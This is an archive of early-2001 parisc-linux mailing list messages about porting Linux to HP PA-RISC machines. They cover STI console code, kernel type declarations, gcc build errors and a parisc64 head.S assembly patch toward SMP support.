  by mail.gmx.net (mp007-rz3) with SMTP; 7 Feb 2001 00:25:40 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A8076D8.CF5E8CCD@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:10189

Hello Mr Grabert,

On Tuesday 06 February 2001 23:12, Thomas Marteau wrote:
> Hi Max,
>
> > fbcon-sti won't compile (at least when I don't compile STI-console)
>
> The matter of frame buffer is quite complex. When we look at the code,
> the fb-sti init is the first then came up the sti-console init. This
> explained the snow you have on the screeen when you compile a kernel
> with fbcon-sti and sti-console. This info can be out of date! If someone
> has a better news , speak :)

I just checked in new cleaned-up and updated code for STI console into CVS a 
few days back, which at least should compile cleanly. 
fbcon-sti belonged to the old code, which was originally written by Philipp 
Rumpf and got very outdated during all the upgrades we did from kernel 2.3.X 
to currently plain 2.4.0. Please just stand by and you will get a working STI 
console for
 - word mode ROMs,
 - byte mode ROMs,
 - monocrome STI framebuffer,
 - support for linux framebuffer fonts in STI text console,
 - (if possible: support for HP X-Servers under parisc-linux)
and much more in the future.
Please keep also in mind, that all the necessary coding is just done in my 
spare time and so it will of course take some time to get it finished. If you 
want to help speeding things up please just send patches to the list.

Greetings,

	Helge Deller




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Type declaration missing
Date: Tue, 06 Feb 2001 17:02:50 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <200102070103.RAA04588@milano.cup.hp.com>
References: <20010203140617.A11455@excalibur.cologne.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619847 15158 80.91.229.3 (22 Nov 2014 01:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Karsten Merker <karsten@excalibur.cologne.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 18:00:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 567954A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 18:00:43 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04501
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Feb 2001 17:56:26 -0700
Original-Received: (qmail 21640 invoked by uid 15267); 7 Feb 2001 01:00:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21633 invoked from network); 7 Feb 2001 01:00:38 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 7 Feb 2001 01:00:38 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 7FDB4F5D; Tue,  6 Feb 2001 17:00:36 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA04588;
	Tue, 6 Feb 2001 17:03:02 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 03 Feb 2001 14:06:17 PST."
             <20010203140617.A11455@excalibur.cologne.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10190

Karsten Merker wrote:
> In fact __kernel_old_uid_t is not declared for the hppa-architecture. The
> declaration should be in include/asm-parisc/posix_types.h, I am just
> unsure what the correct declaration looks like. Has hppa-linux always been
> using 32Bit UIDs? If yes, __kernel_old_uid_t should be defined to be the
> same as __kernel_uid_t, or am I missing something here?

Missing something it seems. Me too though.  I would have defined
__kernel_old_uid_t the same as __kernel_uid_t.

Matthew Wilcox thinks both include/linux/smb_fs.h and include/linux/ncp_fs.h
should be audited and ifdef out it's compatibility code. He volunteered to
put it on his TODO list. I'm sure he'll take patches though. :^)

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ICE compiling pump
Date: Wed, 7 Feb 2001 12:39:39 +1100 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102071124540.7974-100000@front.linuxcare.com.au>
References: <20010206222636.647ED35CF1@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619847 15164 80.91.229.3 (22 Nov 2014 01:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 18:39:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id D731B4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 18:39:51 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA11380;
	Wed, 7 Feb 2001 12:39:41 +1100
In-Reply-To: <20010206222636.647ED35CF1@rover.gag.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10191

On Tue, 6 Feb 2001, Bdale Garbee wrote:

> Building the Debian pump package on a J5000 running a kernel provided by jsm
> last night and the latest taggart nfsroot updated with more or less everything
> in the new-debs directory on pehc, I get:
> 
> cc -I. -Wall -g  -D__STANDALONE__ -DVERSION=\"0.8.3\"   -c -o dhcp.o dhcp.c
> dhcp.c: In function `pumpDhcpRun':
> dhcp.c:1330: Internal compiler error in eliminate_regs, at reload1.c:2505

It's probably fixed on our "devel" branch gcc by these patches:

2001-01-28 Richard Henderson <rth@redhat.com>
	* reload1.c (eliminate_regs): Handle USE.  (supercedes 2001-01-25)

2001-01-25 John David Anglin <dave@hiauly1.hia.nrc.ca>
	* reload1.c (eliminate_regs): Don't abort on MEM USEs.

Our devel branch gcc isn't too bad at the moment,  eg. I'm running a
kernel, glibc and tools compiled by it.  However, there's a problem
running fixincl when building the compiler that I haven't yet tracked
down.  Workaround is to configure gcc, then edit gcc/Makefile to zap the
command that actually runs fixincl.  ie. these lines
        (TARGET_MACHINE=$(target); srcdir=`cd $(srcdir); pwd`; \
        INSTALL_ASSERT_H=$(INSTALL_ASSERT_H); SHELL=$(SHELL) ;\
        export TARGET_MACHINE srcdir INSTALL_ASSERT_H SHELL ; \
        $(SHELL) ./fixinc.sh `pwd`/include $(SYSTEM_HEADER_DIR) $(OTHER_FIXINCLUDES_DIRS); \    

Don't just set STMP_FIXINC empty; You need to get a copy of
/usr/include/limits.h into gcc/include/

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc64 head.S patch
Date: Tue, 6 Feb 2001 22:55:14 -0800 (PST)
Lines: 200
Approved: news@gmane.org
Message-ID: <200102070655.WAA04894@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619848 15165 80.91.229.3 (22 Nov 2014 01:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  6 23:52:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C3634A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 23:52:48 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 813F110A9
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Feb 2001 22:52:47 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id WAA04894
	for parisc-linux@lists.parisc-linux.org; Tue, 6 Feb 2001 22:55:14 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:10192

Hi folks,
This patch is another step towards enabling SMP.
Please review and comment.

NOTE: head.S are seperate files for parisc and parisc64.

The basic change here is PDC_PSW is called to set DEFAULT_PSW bit to wide.
This *must* happen before RFIing to virtual mode. The first
thing the RFI does is cause a trap where we need land with both
feet on the ground (ie in wide mode).

Currently, PALO does this when it loads an ELF64 binary.  But since
the PDC call only applies to the CPU making the call, under SMP, all
slave CPU's have to do this too.
Paul Bame and I agree it's reasonable for PALO to not make this PDC call
and the PDC call should be in the common path between Monarch (or !SMP)
and Slave (enabled CONFIG_SMP) CPU's. Eventually, Paul intends to remove
the call from PALO.

The rest of the changes are cleanup (eg use of load32 macro)
and drop the smp_callin_rtn() which will never get invoked.

I wasn't 100% sure of one thing: usage of "TASK_PT_GR26-TASK_SZ_ALGN"
and %sp usage. I think it is and also suspect it doesn't really matter
at this point.

This code was only tested on an A500 and CONFIG_SMP=n.
(and with the init_new_context() patch from matthew)
The kernel booted fine w/o new complaints.

thanks,
grant


Index: arch/parisc64/kernel/head.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc64/kernel/head.S,v
retrieving revision 1.4
diff -u -p -r1.4 head.S
--- head.S	2001/01/28 13:39:15	1.4
+++ head.S	2001/02/07 06:21:11
@@ -21,6 +21,7 @@
 
 #include <asm/assembly.h>
 #include <asm/pgtable.h>
+#include <asm/pdc.h>		/* for PDC_PSW defines */
 
 
 	.level 2.0
@@ -88,14 +89,19 @@ $pgt_fill_loop:
 	bb,>=		%r3,8,$pgt_fill_loop
 	nop
 
-	/* Load the return address...er...crash 'n burn */
-	copy		%r0,%r2
-
 	/* And the RFI Target address too */
 	load32		start_parisc, %r11
 
 	/* And the stack pointer too */
-	load32		init_task_union+TASK_SZ_ALGN,%sp
+	load32		PA(init_task_union+TASK_SZ_ALGN),%sp
+
+	/* Act like PDC just called us - that's how slave CPUs enter */
+#define MEM_PDC_LO 0x388
+#define MEM_PDC_HI 0x35C
+	ldw		MEM_PDC_LO(%r0),%r6
+	ldw		MEM_PDC_HI(%r0),%r7
+	depd,z		%r7, 31, 32, %r3	/* move to upper word */
+	or		%r6, %r3, %r3		/* combine both parts */
 
 #ifdef CONFIG_SMP
 	/* Set the smp rendevous address into page zero.
@@ -114,21 +120,56 @@ $pgt_fill_loop:
 	/*
 	** Code Common to both Monarch and Slave processors.
 	** Entry:
-	**    %r11 must contain RFI target address.
-	**    %r25/%r26 args to pass to target function
-	**    %r2  in case rfi target decides it didn't like something
+	**    %r3	PDCE_PROC address
+	**    %r11	RFI target address.
+	**    %r26-%r23 args to pass to target function
 	**
 	** Caller must init: SR4-7, %sp, %r10, %cr24/25, 
 	*/
 common_stext:
 	.proc
 	.callinfo
-#else
+#else /* CONFIG_SMP */
 	/* Clear PDC's CPU handoff address - we won't use it */
 	stw		%r0,0x10(%r0)	/* MEM_RENDEZ */
 	stw		%r0,0x28(%r0)	/* MEM_RENDEZ_HI */
-#endif
+#endif /* CONFIG_SMP */
+
+	/* Save parameters from PALO/PDC */
+	std		%arg0, TASK_PT_GR26-TASK_SZ_ALGN(%sp)
+	std		%arg1, TASK_PT_GR25-TASK_SZ_ALGN(%sp)
+	std		%arg2, TASK_PT_GR24-TASK_SZ_ALGN(%sp)
+	std		%arg3, TASK_PT_GR23-TASK_SZ_ALGN(%sp)
+	std		%r11,  TASK_PT_GR11-TASK_SZ_ALGN(%sp)
+
+	/* Set Wide mode as the "Default" (eg for traps)
+	** First trap occurs *right* after (or part of) rfi for slave CPUs.
+	** Someday, palo might not do this for the Monarch either.
+	*/
 
+	ldo		PDC_PSW(%r0),%arg0		/* 21 */
+	ldo		PDC_PSW_SET_DEFAULTS(%r0),%arg1	/* 2 */
+	ldo		PDC_PSW_WIDE_BIT(%r0),%arg2	/* 2 */
+
+	load32		PA(stext_pdc_ret), %rp
+
+	bv		(%r3)
+	copy		%r0,%arg3
+
+stext_pdc_ret:
+	/* restore PDC/PALO parameters */
+	ldd		TASK_PT_GR26-TASK_SZ_ALGN(%sp), %arg0
+	ldd		TASK_PT_GR25-TASK_SZ_ALGN(%sp), %arg1
+	ldd		TASK_PT_GR24-TASK_SZ_ALGN(%sp), %arg2
+	ldd		TASK_PT_GR23-TASK_SZ_ALGN(%sp), %arg3
+	ldd		TASK_PT_GR11-TASK_SZ_ALGN(%sp), %r11
+
+	std		%r0, TASK_PT_GR26-TASK_SZ_ALGN(%sp)
+	std		%r0, TASK_PT_GR25-TASK_SZ_ALGN(%sp)
+	std		%r0, TASK_PT_GR24-TASK_SZ_ALGN(%sp)
+	std		%r0, TASK_PT_GR23-TASK_SZ_ALGN(%sp)
+	std		%r0, TASK_PT_GR11-TASK_SZ_ALGN(%sp)
+
 	/* PARANOID: clear user scratch/user space SR's */
 	mtsp	%r0,%sr0
 	mtsp	%r0,%sr1
@@ -141,6 +182,9 @@ common_stext:
 	mtctl	%r0,%cr12
 	mtctl	%r0,%cr13
 
+	/* Prepare to RFI! Man all the cannons! */
+	tovirt		%sp
+
 	/* Initialize the global data pointer */
 	load32		__gp,%dp
 
@@ -208,14 +252,6 @@ aligned_rfi:
 	.import smp_init_current_idle_task,data
 	.import	smp_callin,code
 
-smp_callin_rtn:
-        .proc
-	.callinfo
-	break	1,1		/*  Break if returned from start_secondary */
-	nop
-	nop
-        .procend
-
 /***************************************************************************
 *
 * smp_slave_stext is executed by all non-monarch Processors when the Monarch
@@ -239,32 +275,19 @@ smp_slave_stext:
 	mtsp	   %r0,%sr6
 	mtsp	   %r0,%sr7
 
-	/* Initialize the global data pointer */
-	ldil		L%__gp,%dp
-	ldo		R%__gp(%dp),%dp
-	depi		0, 31, 32, %dp
-
 	/*  Initialize the SP - monarch sets up smp_init_current_idle_task */
-	ldil		L%PA(smp_init_current_idle_task),%sp
-	ldo		R%PA(smp_init_current_idle_task)(%sp),%sp
-	depdi		0, 31, 32, %sp
-#ifdef __LP64__
+	load32		PA(smp_init_current_idle_task),%sp
 	ldd		0(%sp),%sp	/* load task address */
-#else
-	ldw		0(%sp),%sp	/* load task address */
-#endif
 	addil		L%TASK_SZ_ALGN,%sp	/* Stack is above task */
 	ldo		R%TASK_SZ_ALGN(%r1),%sp
 
 	/* point CPU to kernel page tables */
-	ldil		L%PA(swapper_pg_dir),%r4
-	ldo		R%PA(swapper_pg_dir)(%r4),%r4
-	depdi		0, 31, 32, %r4
+	load32		PA(swapper_pg_dir),%r4
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-	/* Load RFI *return* address in case smp_callin bails */
-	load32		smp_callin_rtn, %r2
+	/* Setup PDCE_PROC entry */
+	copy		%arg0,%r3
 
 	/* Load RFI target address.  */
 	load32		smp_callin, %r11




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions & 
 9000/730 success report
Date: Wed, 07 Feb 2001 08:59:25 +0100
Organization: AAA
Lines: 27
Approved: news@gmane.org
Message-ID: <3A81005D.393A0AA6@alcatel.at>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> <200102062022.MAA04003@milano.cup.hp.com> <20010206220733.Y1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619848 15167 80.91.229.3 (22 Nov 2014 01:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:48 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	"M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 01:06:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 131FB4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 01:06:43 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id IAA01833;
	Wed, 7 Feb 2001 08:59:26 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10193

I was definitly not able to build strace with the current tool chain
(I have built myself from Jan 13, 2001). The system calls and other
parts seem not to be compatible any more....

Richard Hirst wrote:
> 
> On Tue, Feb 06, 2001 at 12:22:03PM -0800, Grant Grundler wrote:
> > Don't know about strace.
> 
> If you check it out of our cvs and build it, it should basically
> work under 32 bit kernels.  I still need to tidy up before I can
> integrate though.
> 
> Richard
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "ninux" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] R: [parisc-linux-cvs] linux jsm
Date: Wed, 7 Feb 2001 12:03:18 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <005501c090f5$9ea6e960$b198953e@rinux>
References: <200102071037.DAA07228@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619848 15170 80.91.229.3 (22 Nov 2014 01:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:48 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 04:01:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14DBD4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 04:01:07 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA07274
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Feb 2001 03:56:49 -0700
Original-Received: (qmail 7598 invoked by uid 15267); 7 Feb 2001 11:00:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7587 invoked from network); 7 Feb 2001 11:00:35 -0000
Original-Received: from smtp.technorail.com (HELO smtp.aruba.it) (195.103.144.19)
  by mailserv2.iuinc.com with SMTP; 7 Feb 2001 11:00:35 -0000
Original-Received: from rinux ([62.149.152.177]) by smtp.aruba.it with Microsoft SMTPSVC(5.0.2195.1600);
	 Wed, 7 Feb 2001 12:07:38 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-OriginalArrivalTime: 07 Feb 2001 11:07:40.0854 (UTC) FILETIME=[3007B560:01C090F6]
Xref: news.gmane.org gmane.linux.ports.parisc:10194

what may I download to start in video & keyboard ?
I boot only in serial
regards





From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Wed, 7 Feb 2001 11:18:25 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010207111825.B1374@linuxcare.com>
References: <20001221160006.W2554@linuxcare.com> <20010123134545.W3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619849 15172 80.91.229.3 (22 Nov 2014 01:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 04:18:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A38E84A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 04:18:23 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA09416
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Feb 2001 04:14:06 -0700
Original-Received: (qmail 23052 invoked by uid 15267); 7 Feb 2001 11:18:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23040 invoked from network); 7 Feb 2001 11:18:21 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 7 Feb 2001 11:18:21 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E87D3B005; Wed,  7 Feb 2001 11:18:25 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010123134545.W3571@linuxcare.com>; from rhirst@linuxcare.com on Tue, Jan 23, 2001 at 01:45:45PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:10195

On Tue, Jan 23, 2001 at 01:45:45PM +0000, Richard Hirst wrote:
> Presumably r29 needs initialising on every call from entry.S and syscall.S
> to C code, but I'm not over confident about that, so I thought I'd let
> others see my diff so far.  Comments?

So, I committed that diff, and have been looking at what happens
w.r.t. stack frame setup on interrupts.  All we seem to do is to
set sp to the top of task_struct (if in a user context), or move
sp up by a struct pt_regs if in kernel space.  In both cases,
those values are rounded up (TASK_SZ_ALGN and PT_SZ_ALIGN), so
there would probably be some space below sp, but should get_stack
be explicity allocating a stack frame really?

Richard





From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions & 9000/730 success report
Date: Wed, 7 Feb 2001 12:41:02 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010207124102.C1374@linuxcare.com>
References: <Pine.LNX.4.21.0102061808500.2465-100000@sgate.charlysworld.de> <200102062022.MAA04003@milano.cup.hp.com> <20010206220733.Y1374@linuxcare.com> <3A81005D.393A0AA6@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619849 15174 80.91.229.3 (22 Nov 2014 01:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:49 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
	"M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 05:40:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B34294A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 05:40:32 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C7012B005; Wed,  7 Feb 2001 12:41:02 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A81005D.393A0AA6@alcatel.at>; from christoph.plattner@alcatel.at on Wed, Feb 07, 2001 at 08:59:25AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10196

On Wed, Feb 07, 2001 at 08:59:25AM +0100, Christoph Plattner wrote:
> I was definitly not able to build strace with the current tool chain
> (I have built myself from Jan 13, 2001). The system calls and other
> parts seem not to be compatible any more....

I've removed the hack that made it work with old glibc that didn't
provide a sys_ptrace wrapper, so it should now be ok with a newer
toolchain.  So, if you could try again and let me know...

Richard





From - Thu Nov 08 21:16:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Failure making current gcc
Date: Wed, 07 Feb 2001 14:31:14 +0100
Lines: 1836
Approved: news@gmane.org
Message-ID: <3A814E22.CBA1C0B7@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------3DFB27912AD569560B01099D"
X-Trace: ger.gmane.org 1416619849 15175 80.91.229.3 (22 Nov 2014 01:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:49 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 06:31:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.vi-internet.de (mailx.planet-interkom.de [195.182.114.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB1704A1C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 06:31:43 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de ([212.144.212.88]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Wed, 7 Feb 2001 14:31:16 +0100
X-Mailer: Mozilla 4.75 [de] (Win98; U)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:10197

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------3DFB27912AD569560B01099D
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hello there!

Today I've updated my sources of PA-RISC Linux in order to build a new
Crosscompiler on my Intel-Linux box. I started the "autobuilder"-script,
but it stops making gcc with a failure message.
I added a .log-file of the buildprocess.

Can somebody help me?

Greetings,
                Rdiger

--------------3DFB27912AD569560B01099D
Content-Type: application/x-unknown-content-type-txtfile;
 name="failure.log"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="failure.log"

VGhlIHBhbGludXgtYXV0b2J1aWxkIHNjcmlwdCBmYWlsZWQgd2hpbGUgTWFraW5nIGdjYw0K
